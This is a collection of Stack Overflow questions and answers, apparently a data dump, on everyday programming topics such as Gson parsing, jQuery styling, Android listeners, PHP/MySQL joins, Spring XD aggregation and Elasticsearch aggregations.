15508288	0	 <p>You're telling Gson it's looking for a list of maps of Strings to Objects, which essentially says for it to make a best guess as to the type of the Object. Since Float/Double is more generic than Integer, it's a logical option for it to use.</p> <p>Gson is fundamentally built to inspect the type of the object you want to populate in order to determine how to parse the data. If you don't give it any hint, it's not going to work very well. One option is to define a custom JsonDeserializer, however better would be to not use a HashMap (and definitely don't use Hashtable!) and instead give Gson more information about the type of data it's expecting.</p> <pre><code>class Response { int id; int field_id; ArrayList&lt;ArrayList&lt;Integer&gt;&gt; body; // or whatever type is most apropriate } responses = new Gson() .fromJson(draft, new TypeToken&lt;ArrayList&lt;Response&gt;&gt;(){}.getType()); </code></pre> <p>Again, the whole point of Gson is to seamlessly convert structured data into structured objects. If you ask it to create a nearly undefined structure like a list of maps of objects, you're defeating the whole point of Gson, and might as well use some more simplistic JSON parser.</p>
29881208	0	 <p>As in any method call, it just a question of what happens where. If you don't want <code>[self.aMutableArray objectAtIndex:0]</code> evaluated now, don't include it in the invocation expression! Instead, make the invocation expression a call to a method where <em>that method</em> will call <code>[self.aMutableArray objectAtIndex:0]</code>:</p> <pre><code>[[self.undoManager prepareWithInvocationTarget:self] doSomethingWithObjectAtIndex:0]; </code></pre> <p>...where <code>doSomethingWithObjectAtIndex:</code> is where <code>[self.aMutableArray objectAtIndex:0]</code> is called.</p>
21710085	0	jQuery: How can I change the color only of the selected option? <p>I have a selection list which in HTML looks like this:</p> <pre><code>&lt;select id="language-list"&gt; &lt;option value="English"&gt;English&lt;/option&gt; &lt;option value="German"&gt;German&lt;/option&gt; &lt;option value="French"&gt;French&lt;/option&gt; &lt;/select&gt; </code></pre> <p>With jQuery I would like to achieve that ONLY the currently selected option gets a red color. When you click on the selection list to see the other options, the other options shall keep their original color.</p> <p>My current jQuery code looks like that: </p> <pre><code>$('#language-list').css('color', 'red'); </code></pre> <p>How do I achieve that only the currently selected option gets a red color?</p>
29110967	0	 <p>Based on this comment:</p> <blockquote> <p>I didn't think it was relevant to the question. I am of course creating bodies once I start the program, by pressing 'm'. What I want is for deltaTime to update as I press 'm' more times i.e creating more bodies</p> </blockquote> <p>It seems like my guess is correct, that you're assuming that deltaTime will automatically increment whenever a new Body is created, and that is not how Java works. In order for that to happen you need to explicitly update deltaTime. One way is to use an observer design pattern, perhaps using PropertyChangeSupport to update deltaTime whenever a new Body is created.</p> <p>Although having said that, I've never used a PropertyChangeListener to listen to a static property before. </p> <p>But for example:</p> <pre><code>import java.beans.PropertyChangeEvent; import java.beans.PropertyChangeListener; import java.beans.PropertyChangeSupport; import java.util.Scanner; public class TestBody { private static final String QUIT = "quit"; public static int deltaTime = 0; public static void main(String[] args) { Body.addPropertyChangeListener(Body.NUM_OF_BODIES, new PropertyChangeListener() { @Override public void propertyChange(PropertyChangeEvent evt) { deltaTime = 500*Body.getNum(); System.out.println("deltaTime: " + deltaTime); } }); Scanner scan = new Scanner(System.in); String line = ""; while (!line.contains(QUIT)) { System.out.print("Please press enter to create a new body, or type \"quit\" to quit: "); line = scan.nextLine(); Body body = new Body(); } } } class Body { public static final String NUM_OF_BODIES = "num of bodies"; private static PropertyChangeSupport pcSupport = new PropertyChangeSupport( Body.class); private static volatile int numOfBodies; public Body() { int oldValue = numOfBodies; numOfBodies++; int newValue = numOfBodies; pcSupport.firePropertyChange(NUM_OF_BODIES, oldValue, newValue); } public static int getNum() { return numOfBodies; } public static void addPropertyChangeListener(PropertyChangeListener l) { pcSupport.addPropertyChangeListener(l); } public static void removePropertyChangeListener(PropertyChangeListener l) { pcSupport.removePropertyChangeListener(l); } public static void addPropertyChangeListener(String propertyName, PropertyChangeListener l) { pcSupport.addPropertyChangeListener(propertyName, l); } public static void removePropertyChangeListener(String propertyName, PropertyChangeListener l) { pcSupport.removePropertyChangeListener(propertyName, l); } } </code></pre>
9587859	0	 <p><code>__alldiv</code> is the function from Visual Studio C runtime library which handles 64-bit integer division in 32-bit environment, it looks similar to this: <a href="http://www.jbox.dk/sanos/source/lib/lldiv.asm.html" rel="nofollow">http://www.jbox.dk/sanos/source/lib/lldiv.asm.html</a></p>
1570339	1	Does configuring django's setting.TIME_ZONE affect datetime.datetime.now()? <p>The documentation says:</p> <p><a href="http://docs.djangoproject.com/en/dev/ref/settings/#time-zone" rel="nofollow noreferrer">http://docs.djangoproject.com/en/dev/ref/settings/#time-zone</a></p> <blockquote> <p>Note that this is the time zone to which Django will convert all dates/times -- not necessarily the timezone of the server. For example, one server may serve multiple Django-powered sites, each with a separate time-zone setting. Normally, Django sets the os.environ['TZ'] variable to the time zone you specify in the TIME_ZONE setting. Thus, all your views and models will automatically operate in the correct time zone.</p> </blockquote> <p>I've read this several times and it's not clear to me what's going on with the TIME_ZONE setting.</p> <p>Should I be managing UTC offsets if I want models with a date-time stamp to display to the users local-time zone? </p> <p>For example on save use, datetime.datetime.utcnow() instead of datetime.datetime.now(), and in the view do something like:</p> <pre><code>display_datetime = model.date_time + datetime.timedelta(USER_UTC_OFFSET) </code></pre>
26221440	0	 <p>Add a listener when inflating the group layout. And you can distinguish which group's switch was clicked by setting a tag that corresponds to that group position.</p> <p>Here's an example:</p> <pre><code>@Override public View getGroupView(int groupPosition, boolean isExpanded, View convertView, ViewGroup parent) { if (convertView == null) { ... // Add a switch listener Switch mySwitch = (Switch) convertView.findViewById(R.id.mySwitch); mySwitch.setTag(groupPosition); mySwitch.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() { @Override public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) { Log.e("TAG", "Clicked position: " + buttonView.getTag()); } }); } else { convertView.findViewById(R.id.mySwitch).setTag(groupPosition); } ... return convertView; } </code></pre> <p>Note that you need to set the tag each time <code>getGroupView</code> is called.</p> <p>As a sidenote: you should use a Holder pattern so you don't have to call <code>findViewById</code> (which is costly) in <code>getGroupView</code>.</p>
19533836	0	 <p>Yes.</p> <p><a href="http://www.youtube.com/watch?v=AdV7bCWuDYg">This video</a> is a tutorial that shows how to do this and is linked to a github that has source code. You basically have to write wrappers to do server requests to get a polyline between two locations and then you add it to the map. </p> <p>Also, <a href="https://developers.google.com/maps/documentation/ios/">look here</a> for the full documentation and basic code snippets.</p> <p>Good luck!</p>
24753813	0	 <p>Try changing the type of <code>AO</code> from <code>IEnumerable&lt;SelectListItem&gt;</code> to <code>string</code>.</p> <pre><code>public string AO { get; set; } </code></pre> <p>Thanks!</p>
38004875	0	iOS app submission and beta review process <p>I'm currently developing an iOS application for a client. The submission review process to the store can often be a lengthy process and is relatively new to me. </p> <p>My client wants to do a beta test using <strong>TestFlight</strong> as well as submitting the app to the app store afterwards, through <strong>XCode</strong> and <strong>Itunes Connect</strong>.</p> <p>Scouring Apple's documentation I can't seem to get a good idea of following:</p> <ul> <li><p><strong>If I want to update an existing application on the store do I have to go through the review process again in full?</strong><br><br></p></li> <li><p><strong>If I have my app approved for beta testing release through TestFlight, is this taken into consideration when submitting the app for review to the store?</strong><br><br></p></li> <li><p><strong>If I want to test a new build through TestFlight, do I need to go through the beta review process again in full?</strong><br><br></p></li> <li><p><strong>If an app is approved on the app store, does it automatically pass the beta review?</strong><br> (This sounds counterintuitive considering you don't want to do a beta test after releasing to the store but in a scenario where you may want to do a closed release of an update for testing while a live version is up on the store)</p></li> </ul>
19161492	0	 <p>Using joins would make it easier to follow, and afraid you have not said which field is giving a duplicate.</p> <p>For example the following is a quick hack (untested) at you code to eliminate some of the separate selects:-</p> <pre><code>&lt;?php $SQL = "SELECT ID, ItemID FROM IR_Logs"; $data = $db-&gt;getResults($SQL); $count = mysql_num_rows($data); echo '&lt;p&gt;Returned Results: '.$count.'&lt;/p&gt;'; while($row = mysql_fetch_assoc($data)) { $ItemID = $row['ItemID']; $SQL = "SELECT cs.SiteManager, cs.CompanyID, cs.Reference, cu.Name, cu.Telephone, cu.Email FROM IR_Logs ir INNER JOIN Customer_Sites cs ON ir.LocationID = cs.ID INNER JOIN Customer_Users cu ON cs.CompanyID = cu.CompanyID AND cu.ID = cs.SiteManager"; $LocationData = $db-&gt;getResults($SQL); while($row2= mysql_fetch_assoc($LocationData)) { $SiteManagerID = $row2['SiteManager']; $CompanyID = $row2['CompanyID']; $SiteReference = $row2['Reference']; $Manager_Name = $row3['Name']; $Manager_Telephone = $row3['Telephone']; $Manager_Email = $row3['Email']; $SQL = "SELECT i.Reference, ca.Company, cs.Reference, a.Type, DATE_FORMAT(a.Date, '%d %M %Y'), a.CompanyID, a.LocationID FROM IR_Logs a LEFT OUTER JOIN Inventory i ON a.ItemID = i.ID LEFT OUTER JOIN Customer_Accounts ca ON a.CompanyID = ca.ID LEFT OUTER JOIN Customer_Sites cs ON a.LocationID = cs.ID WHERE a.LocationID = $LocationID ORDER BY CompanyID ASC"; $LogData = $db-&gt;getResults($SQL); if(mysql_num_rows($LogData) &lt;&gt; 0){ $HQEmail = $db-&gt;getValue("SELECT PrimaryEmail FROM Customer_Accounts WHERE ID = $CompanyID"); $message .= '&lt;h3&gt;Site Ref: '.$SiteReference.'&lt;/h3&gt;'; $message .= '&lt;p&gt;For the Attention of '.$Manager_Name.', in regards to Site Reference: '.$SiteReference.'&lt;/p&gt;'; $message .= $blk-&gt;GetBlock(6); $message .= '&lt;table style="border:1px solid black; padding: 10px;" cellpadding="10"&gt;'; $message .= '&lt;tr&gt;'; $message .= '&lt;td&gt;&lt;strong&gt;Reference&lt;/strong&gt;&lt;/td&gt;'; $message .= '&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;'; $message .= '&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;'; $message .= '&lt;/tr&gt;'; while($row4 = mysql_fetch_array($LogData)){ $Reference = $row4[0]; $Location = $row4[2]; $Company = $row4[1]; $Type = $row4[3]; $Date = $row4[4]; $CompanyID = $row4[5]; $LocationID= $row4[6]; $message .= '&lt;tr&gt;'; $message .= '&lt;td&gt;'.$Reference.'&lt;/td&gt;'; $message .= '&lt;td&gt;'.$Type.'&lt;/td&gt;'; $message .= '&lt;td&gt;'.$Date.'&lt;/td&gt;'; $message .= '&lt;/tr&gt;'; } $message .= '&lt;/table&gt;'; } } } ?&gt; </code></pre>
33102488	0	Installation's object default ACL and security issue <p>I see on Data Browser that every new Installation's object has default ACL 'Public read and write' permissions. What is a security risk? And, if it is a security risk, how is possible solve it?</p>
18278498	0	 <p>As it's already mentioned by taocp, the line refers to member initialization list.</p> <p>There are couple of ways to initialize members 1. member initialization list (efficient approach) 2. using assignment e.g. players = 10</p> <p>It might not make any difference for built-in types e.g. int, char but if you are assigning big objects then use member initialization list. Constructor/ Destructor gets called in assignment which is definitely not warranted</p>
26531665	0	 <p>Aside from <code>@see</code>, a more general way of refering to another class and possibly method of that class is <code>{@link somepackage.SomeClass#someMethod(paramTypes)}</code>. This has the benefit of being usable in the middle of a javadoc description.</p> <p>From the <a href="http://docs.oracle.com/javase/7/docs/technotes/tools/windows/javadoc.html#link">javadoc documentation (description of the @link tag)</a>:</p> <blockquote> <p>This tag is very simliar to @see – both require the same references and accept exactly the same syntax for package.class#member and label. The main difference is that {@link} generates an in-line link rather than placing the link in the "See Also" section. Also, the {@link} tag begins and ends with curly braces to separate it from the rest of the in-line text.</p> </blockquote>
28858159	0	 <p>Could be this bug...</p> <p><a href="http://bugs.python.org/issue11587" rel="nofollow">http://bugs.python.org/issue11587</a></p> <p>Which means it's a python version issue. One fix seems to be to use <code>METH_KEYWORDS | METH_VARARGS</code>.</p>
20870518	0	Switch between a headed and headless server when integration testing with capybara <p>Let's say I have web-rat and selenium installed. How do I test my rails app quickly with web-rat (using capybara) , and then, do one final integration test with selenium?</p>
10831319	0	 <p>The <a href="http://msdn.microsoft.com/en-us/library/wxh6fsc7%28v=vs.100%29.aspx" rel="nofollow">access modifier</a> needs to be at least <a href="http://msdn.microsoft.com/en-us/library/bcd5672a%28v=vs.80%29.aspx" rel="nofollow"><code>protected</code></a>.</p> <pre><code>protected String myString = "Hi SO!"; </code></pre> <p>The reason behind is that each <code>.aspx</code> page inherits from the code-behind class.</p>
34274232	0	 <p>This is a bug in Spring XD. See <a href="https://jira.spring.io/browse/INT-3908" rel="nofollow">INT-3908</a> for details.</p> <hr> <p>Following the <a href="http://stackoverflow.com/a/34216534/953327">suggestion</a> by Marius, the following is a suitable workaround:</p> <p>Edit <code>$XD_HOME/modules/processor/aggregator/config/aggregator.xml</code> to include:</p> <pre><code>&lt;channel id="aggregatorInput"/&gt; &lt;header-enricher input-channel="input" output-channel="aggregatorInput" default-overwrite="true"&gt; &lt;header name="kafka_messageKey" value="."/&gt; &lt;/header-enricher&gt; &lt;aggregator input-channel="aggregatorInput" output-channel="output" correlation-strategy-expression="${correlation}" release-strategy-expression="${release}" expression="${aggregation}" send-partial-result-on-expiry="true" expire-groups-upon-completion="true" message-store="messageStore"&gt; &lt;/aggregator&gt; </code></pre> <p><strong>Note</strong>: using a <code>header-filter</code> will not work as the mechanism SI uses for <a href="https://github.com/spring-projects/spring-framework/blob/master/spring-messaging/src/main/java/org/springframework/messaging/support/MessageHeaderAccessor.java#L347" rel="nofollow">removing a header</a> will only <a href="https://github.com/spring-projects/spring-framework/blob/master/spring-messaging/src/main/java/org/springframework/messaging/support/MessageHeaderAccessor.java#L309" rel="nofollow">remove the header if it is not already null</a>.</p> <hr> <p>Alternatively, if you don't want to edit the module XML directly, you could use <a href="http://docs.spring.io/spring-xd/docs/current/reference/html/#composing-modules" rel="nofollow">Module Composition</a> to include a Header Enricher before the standard aggregator module.</p> <pre><code>module compose --name kafa-aggregator --definition "header-enricher --headers={\"kafka_messageKey\":\"'.'\"} --overwrite=true | aggregator --count=3 --aggregation=T(org.springframework.util.StringUtils).collectionToDelimitedString(#this.![payload],' ')" stream create --name aggregates --definition "http | kafa-aggregator | log" --deploy </code></pre>
9105042	0	SQL-Server - Stop success message when saving results to file <p>When running a query on <code>SQL Server</code> and using <code>Results to file</code> function, <code>SQL Server</code> automatically adds a success message at the end of the file that looks like this:</p> <pre><code>(2620182 row(s) affected) </code></pre> <p>With a small file, you could pop it open a text editor and remove it manually, but when your file is millions of records, it takes a bit more work. I could use <code>grep</code> or <code>sed</code> to remove it, but that's a manual process. </p> <p>Is there a way I can surpress that message from showing up in my saved result set?</p>
3008175	0	 <p><strike>Check out this tut on <a href="http://wpmututorials.com/how-to/a-reusable-widget/" rel="nofollow noreferrer">reusable WordPress widgets</a> :)</strike></p> <p>Using the <a href="http://codex.wordpress.org/Version_2.8#New_Widgets_API" rel="nofollow noreferrer">2.8 widget API</a>, widgets are natively re-usable.</p>
12057266	0	 <p>If K &lt;&lt; N, min heap is good enough because creation of heap is O(n), and if K &lt;&lt; N selecting first K items is at most O(N), otherwise you could use <a href="http://en.wikipedia.org/wiki/Selection_algorithm">selection algorithm</a> to find Kth smallest element in <code>O(n)</code> then select numbers which are smaller than found item. (Sure if some numbers are equal to Kth element select till fill <code>K</code> items).</p>
29900158	0	 <p>You can get min and max per user , then the rest you need to do from the client side - </p> <pre><code>{ "aggs": { "users": { "terms": { "field": "Name" }, "aggs": { "maxAge": { "max": { "field": "age" } }, "minAge": { "min": { "field": "age" } } } } } } </code></pre> <p>Here , you need to make a bucket per name using <a href="http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/search-aggregations-bucket-terms-aggregation.html" rel="nofollow">terms aggregation</a>. Per bucket , you need to get max and min value using max and min aggregation.</p> <p>Rest you need to take care on the client side.</p>
24945371	0	 <p>The MSDN says in the docs about <a href="http://msdn.microsoft.com/en-us/library/system.windows.forms.datagridviewcell.rowindex(v=vs.110).aspx" rel="nofollow">RowIndex property</a></p> <blockquote> <p>When the RowIndex property returns -1, the cell is either a column header, or the cell's row is shared.</p> </blockquote> <p>So you need to handle the e.RowIndex == -1 when you receive the event<br> (...The index must not be negative....)</p> <pre><code>private void firearmView_CellClick(object sender, DataGridViewCellEventArgs e) { if(e.RowIndex == -1) return; if (!firearmView.Rows[e.RowIndex].IsNewRow) { selectedFirearmPictureBox.Image = Image.FromFile(firearmView.Rows[e.RowIndex].Cells[12].Value.ToString(), true); } } </code></pre>
16448827	0	 <p>The easiest way to get a complete working setup on Windows, including ming compiler, is to install a distribution such as <a href="https://code.google.com/p/pythonxy/" rel="nofollow">pythonxy</a> (my favorite) or <a href="https://www.enthought.com/" rel="nofollow">EDP</a>. </p>
16665676	0	 <p>As far as I know the COL_NAME can't be replaced with "?". Android only takes "?" as "arguments", not as "selection"</p> <pre><code>final String query = "SELECT * FROM " + TBL_NAME + " WHERE COL_NAME=?"; final String[] args = new String[] {Long.toString(id)}; final Cursor c = db.rawQuery(query, args); </code></pre> <p>Or better use this method</p> <pre><code>query(String table, String[] columns, String selection, String[] selectionArgs, String groupBy, String having, String orderBy) </code></pre> <p>In your case it would be like this:</p> <pre><code>final String[] args = new String[] {Long.toString(id)}; final Cursor c = db.query(TBL_NAME, null, COL_NAME + "=?", args, null, null, null); </code></pre>
13366086	0	 <p>I would like to bring some more precision. At least, for the most recent version of Symfony (2.1), the correct symtax (documented on the API) is:</p> <pre><code>&lt;?php public FormBuilderInterface createNamedBuilder(string $name, string|FormTypeInterface $type = 'form', mixed $data = null, array $options = array(), FormBuilderInterface $parent = null) </code></pre> <p>It is important because you can still pass options to the FormBuilder. For a more concrete example:</p> <pre><code>&lt;?php $form = $this-&gt;get('form.factory')-&gt;createNamedBuilder('user', 'form', null, array( 'constraints' =&gt; $collectionConstraint, )) -&gt;add('name', 'text') -&gt;add('email', 'email') -&gt;getForm(); </code></pre>
12084622	0	 <p>"Really only useful" is a little subjective, don't you think? If you're asking about whether it's more important to pre-compile templates used server-side as opposed to client-side, it usually is, simply because a server is going to have to render them potentially several thousand times a second so it's wasteful to have to compile them each time they're rendered.</p> <p>In a client-side app, the main concern is whether there's any user-noticeable slowdown associated with rendering templates. There usually isn't, and if there is, generally only a few (maybe partial templates used to build large list views) are responsible. So in most client-side apps, pre-compiling templates is a form of premature optimization.</p>
25815403	0	 <p>Once you have the duration,</p> <p>call this routine (but I am sure there are more elegant ways).</p> <pre><code>public String convertDuration(long duration) { String out = null; long hours=0; try { hours = (duration / 3600000); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); return out; } long remaining_minutes = (duration - (hours * 3600000)) / 60000; String minutes = String.valueOf(remaining_minutes); if (minutes.equals(0)) { minutes = "00"; } long remaining_seconds = (duration - (hours * 3600000) - (remaining_minutes * 60000)); String seconds = String.valueOf(remaining_seconds); if (seconds.length() &lt; 2) { seconds = "00"; } else { seconds = seconds.substring(0, 2); } if (hours &gt; 0) { out = hours + ":" + minutes + ":" + seconds; } else { out = minutes + ":" + seconds; } return out; } </code></pre>
23825728	0	How do I implement timer with activiti bpmn <p>I have a requirement where the a task should wait for a asynchronous request to finish. The process should be verified at regular interval.The activiti workflow should send a request at every 10 min to check if the previous request is being approved. </p> <p>How do I configure this in activiti BPMN.</p>
11979266	0	 <p>A common approach that works well is to use a work queue like <a href="https://github.com/defunkt/resque/" rel="nofollow">Resque</a>.</p> <p><strong>Managing the code</strong><br/> For ease of management, keep the processing code and the app "in the app". Deploy two app-servers but run resque workers on the processing server.</p> <p><strong>State changes</strong><br/> If the processing jobs relate to ActiveRecord persisted objects you can poll state from the front-end and periodically update it from the backend during the encoding process.</p> <p>You might find it useful to use <a href="https://github.com/pluginaweek/state_machine" rel="nofollow">state machine</a>.</p> <p><strong>Your problems have moved</strong><br/> Now you're cloud-scale&trade; :D More processing hosts running workers can be added if your queue gets too long. If your front-end is the only web-accessible host you can set up a rack middleware or run rainbows to proxy the processed results through the frontend to the client.</p> <p>Sounds like an interesting project. Good luck!</p>
13233222	0	 <p>In the wording in which you've posed the problem, the only correct solution is a double iteration over A and B and filter, as you've suggested. That's because you've stated the problem as to "construct the set C", which lacking other information, generally means to <em>enumerate</em> the set C. The only way to do that and get the exact enumeration of C, at least with the information provided, is to evaluate F on each element in A &times; B.</p> <p>In another way of interpreting the problem, you can say you have a definition of C if you have a characteristic function, but that's just F. So I'll assume that's not what you mean.</p> <p>The key seems to be that you need to elucidate the relevant properties of F, since that's the algorithmic hook for an enumeration of C. What I mean by this is that you should propose an axiom about F that allows you some shortcut over direct filtration. That could mean, for example, the existence of some auxiliary function G that allows a shorter algorithm. Assuming such a G, an enumeration algorithm would evaluate both F and G, rather than F alone.</p>
32133158	0	how to add text in svg object inside javascript <p>How can I add a text node inside javascript svg object . I am using this object , but I don't know how to add text into svg . </p> <pre><code> var circlemarker = { path: 'M-5,0a5,5 0 1,0 10,0a5,5 0 1,0 -10,0 z', fillColor:'yellow', //'#f39c13', fillOpacity: 0.8, scale: 3, strokeColor: '#f7692c', strokeWeight: 2, data: 'My text' // this is not working }; </code></pre>
23668315	0	 <p>Not sure how to do this in WP. However, you could use a little jQuery to figure out how many top-level nav items there are, round that number up (to support odd numbers of nav items) and then add a class to the last element that you want to appear on the left of the logo. Then style on that class to add space between it and the next nav item. </p> <pre><code>$(function(){ var navElements = $('.nav &gt; li'), navElementsLength = $(navElements).length, middle = navElementsLength / 2, middle = Math.round(middle); $(navElements).eq(middle-1).addClass('left'); }); </code></pre> <p><a href="http://www.bootply.com/ZKxhal2RgD#" rel="nofollow">http://www.bootply.com/ZKxhal2RgD#</a></p>
29545552	0	 <blockquote> <p>How can Interface be implemented, by which it can be accessible from all the activities, and called from any of the activity to call SDK API...</p> </blockquote> <p>The interface instance can be made a context singleton (lazily instantiated). So you may have a <code>static getInstance(Context)</code> to get an implementation of the interface. </p> <p>OR you can be using a Dependency injection framework (Roboguice, Dagger etc) and just annotate the class with <code>@Singleton</code>etc. This is useful if you would like to switch implementations of same interface dynamically.</p> <p>OR you can extend <code>Application</code> class with your own <code>App</code> class, mention the same in manifest's <code>&lt;application&gt;</code> tag. Now <code>App</code> class will become app wide singleton and can one-time initialize and expose global objects from its <code>onCreate()</code> method.</p> <blockquote> <p>.., and also it provides response to calling activity only (Synchronous or Asynchronous).</p> </blockquote> <p>I'd advise to stick with single a pattern. Also UI components like Activities, Fragments and View are exposed to a risk of being frequently destroyed and re-created. So, It is a great responsibility of notifying the SDK to not to call back for a UI that is going away.</p> <pre><code>RequestHandle handle = mySDK.doSomeAsyncReqyest(myInputParameters, new Callback&lt;Data&gt;(){ @Override public void onResult(Data d, Exception e){ // handle results } }); </code></pre> <p>And always track the requests and remember to :</p> <pre><code>handle.cancel(); </code></pre> <blockquote> <p>How can Interface be kept alive and on going when application is not active or in background (Service not proffered), so that it can get notification from SDK.</p> </blockquote> <p>As of now, a "sticky" Service equipped with a boot receiver is the only way you can let android not permanently destroy a background process of an app. Even then, the process will still be stopped if resources are low, and re-started when resources are free.</p> <p>This service can post notifications in status bar (by becoming a foreground service), from where, user can again be re-directed to a specific part of your app.</p> <blockquote> <p>How can Interface broadcast notifications received from SDK to all the available activities (is Broadcast Receiver mechanism ok for this?)?</p> </blockquote> <p>Android offers <code>LocalBroadcastManager</code> to broadcast events local to the app. Also there are "bus" implementations such as <code>EventBus</code> and <code>Otto</code> that can help send events from one object to another without them having direct references of each other.</p> <p>If you are looking for overall async architecture hints, you can explore how the framework called <code>RoboSpice</code> is implemented.</p>
23685058	0	 <p>It turns out there is H_SAVE_FP which saves files to an opened file pointer.</p> <p>The code then looks like:</p> <pre><code>FILE* fp = fopen("historyfile", "w"); ... cap_enter(); ... history(inhistory, &amp;ev, H_SAVE_FP, fp); </code></pre>
8374923	0	 <p>They doesn't really reset the <code>wait_timeout</code> value but they do reset the "time since last command" so doing <code>SHOW SESSION VARIABLES</code> often enough would prevent the server to close the connection. So would <code>SELECT 1</code>.</p>
32674578	0	Binary operator '!=' cannot be applied to operands of type 'NSError' and 'NilLiteralConvertible' <p>I have the following code :</p> <pre><code>if ((error) != nil) { print(error, terminator: "") } </code></pre> <p>in my Swift program (converted to Swift 2 from Swift 1) </p> <p>But Xcode is complaining</p> <blockquote> <p>Binary operator '!=' cannot be applied to operands of type 'NSError' and 'NilLiteralConvertible'</p> </blockquote> <p>What is the issue with the above line?</p>
4582829	0	 <p>I did it like this - it works in IE8, Fx3.6, Safari4, Chrome as opposed to the un-edited string which works in Fx but not in several other browsers:</p> <pre><code>new Date('2001-01-01T12:00:00Z'.replace(/\-/g,'\/').replace(/[T|Z]/g,' ')) </code></pre> <p>but I am sure someone will post a REGEX with backreferencing :)</p>
9112438	0	 <p>In asp.net version 4 this 'hack' action of postback does not work because of the extra security checks that version 4 includes. The best way to do this using asp.net controls is to do a dynamic load of the controls. Here is some code that I have just checked and working.</p> <pre><code>protected void Page_Load(object sender, EventArgs e) { // create the control dynamically LinkButton lbOneMore = new LinkButton(); // the text and the commands lbOneMore.Text = "One more click"; lbOneMore.CommandArgument = "cArg"; lbOneMore.CommandName = "CName"; // the click handler lbOneMore.Click += new EventHandler(lbOneMore_Click); // and now add this button link to your div DivControl.Controls.Add(lbOneMore); } // here you come with the click, and the sender contains the commands void lbOneMore_Click(object sender, EventArgs e) { txtDebug.Text += "&lt;br&gt; Command: " + ((LinkButton)sender).CommandArgument; } </code></pre> <p>On asp.net page :</p> <pre><code>&lt;div runat="server" id="DivControl"&gt;&lt;/div&gt; &lt;asp:Literal runat="server" ID="txtDebug" /&gt; </code></pre>
13031158	0	Unwanted left margin when using -webkit-transform: scale(...) <p>I am using wkhtmltopdf (which uses the Webkit rendering engine) to convert HTML files to PDF documents. The generated PDFs are A4. In other words, they have fixed dimensions, and thus a limited width.</p> <p>One of the tables in my PDF contains images, which are intricately pieced together in a puzzle-like fashion, and which sometimes take up a lot of room.</p> <p>To fit the resulting puzzle in the constraints of an A4 PDF, I am applying the CSS property -webkit-transform: scale(...);</p> <p>This scales the puzzle beautifully, and it is still clearly legible, but for some reason it also pushes the table containing the puzzle to the right. It seems to be adding a significant margin to the left of the puzzle table, despite my explicitly setting its left margin to 0.</p> <p>Interestingly enough, the smaller the scale in my webkit transformation, the bigger the margin on the left. So for example, if I use scale(0.75) the resulting left margin is around 200 pixels. If I use scale(0.5) the resulting left margin is around 400 pixels.</p> <p>I've tried aligning the puzzle table to the left using absolute, fixed and relative positioning with left: 0. I've also tried floating it to the left, as well as sticking it in a container with text-align set to left. None of these techniques work.</p> <p>Any ideas where this left margin is coming from and how I can remove it / work around it?</p>
3377461	0	 <p>Firstly, using Task Manager to determine memory usage is fraught with peril. Have a read of <a href="http://www.itwriting.com/dotnetmem.php" rel="nofollow noreferrer">this article</a> to gain a clearer understanding of it.</p> <ul> <li>What other libraries are you referencing?</li> <li>What files are you loading, into streams or any other way?</li> <li>What resources do you request from the Operating System via P/Invoke</li> <li>How many instances of each form do you load?</li> <li>How many variables do you create, and of what size?</li> </ul> <p>For example:</p> <pre><code>// Will take up a lot of memory! var x = new byte[int.MaxValue]; </code></pre> <p>All that said, 9.1Mb isn't really a lot (less than 0.5% of memory on a machine spec'd with 2Gb of RAM) and more importantly, <strong>does it actually matter that your application's using 9.1Mb of RAM, or are you wasting your time investigating?</strong> Remember, your time's valuable. Would your end users rather the time was spent on something else? =)</p>
26493168	0	 <p>You want to call <code>$user-&gt;username</code> not <code>$user-&gt;$username</code>.</p> <pre><code>&lt;?php require_once 'core/init.php'; $user = DB::getInstance()-&gt;get('users', array('username', '=', 'alex')); if(!$user-&gt;count()) { echo 'No User'; } else { foreach($user-&gt;results() as $user) { echo $user-&gt;username, '&lt;br&gt;'; } } </code></pre>
25258630	0	Mapping a DFS using NET Use remotely throwing Error 1312.A specified logon session does not exist. It may already have been terminated <p>I am trying to map a distributed file system (DFS) from a remote machine using net use $drive_letter $target $password /user:domain\username</p> <p>If I do this by logging to the machine there is no error, however if I try this remotely I get </p> <p>System error 1312 has occurred. A specified logon session doesnt exist. It may already have been terminated.</p> <p>Has anyone faced this issue before?</p> <p>Or is there any alternate way to map the network drive remotely without encountering these issues?</p>
40826413	0	Issue about the return value of sengmsg for udp <p>is there a partially-sent data when calling sendmsg for udp non block socket? when i want to data with a length of 5000, is there any possibility the sendmsg api just sent out 3000 or just return -1 with a errno EMSGSIZE? thanks</p>
815253	0	How to clone StackOverFlow JQuery Interface? <p>Is there any opensource samples of JQuery usages of StackOverFlow-like sites...... </p> <p>Any help in this direction??</p>
12927795	0	 <p>You cannot auto-start application on TV launch.</p> <p>The only way is to use custom firmware like SamyGo (http://www.samygo.tv/)</p> <p>About the "background process"... as far as we assume that JavaScript's <code>setTimeout</code> or <code>setInterval</code> can be used to execute application's "internal" background process, there is no problem - Just DO it! :)</p> <p>But if you were thinking about system's background process - for ex. crontab of device - it's impossible.</p>
18698621	0	 <p>I ended up creating this little baby:</p> <p><a href="https://gist.github.com/carstengehling/6495127" rel="nofollow">https://gist.github.com/carstengehling/6495127</a></p> <p>Works quite nice for the purpose. A bit like rollout, though not user-specific and using AR instead of Redis.</p> <p>Anyone else who finds this approach interesting, please let me know - I could do a gem.</p>
38672248	0	 <p>Ok, so i found the answer my self. before Triggering the animation event Rebind the Animator.</p> <pre><code> Animator anim = player.GetComponent&lt;Animator&gt;(); anim.Rebind(); </code></pre>
18089916	0	 <p>As J L said, the easiest way by far is to use jQuery .click() with an appropriate locator. Check out: <a href="http://api.jquery.com/class-selector/" rel="nofollow">http://api.jquery.com/class-selector/</a></p> <p>You might also want to use <a href="http://api.jquery.com/jQuery.contains/" rel="nofollow">contains</a> or <a href="http://api.jquery.com/contents/" rel="nofollow">contents</a> features</p>
5859273	0	Domain name registered for client and they want to transfer it to another domain host. OK to charge them for the domain name? <p>I am a freelance programmer and often I will register a domain name for a client under a domain name reseller (and of course under my account). </p> <p>I wanted to know if there is any standard procedure for selling the domain name to the client or just let them transfer it.</p> <p>Does anyone know a normal procedure for this type of scenario?</p>
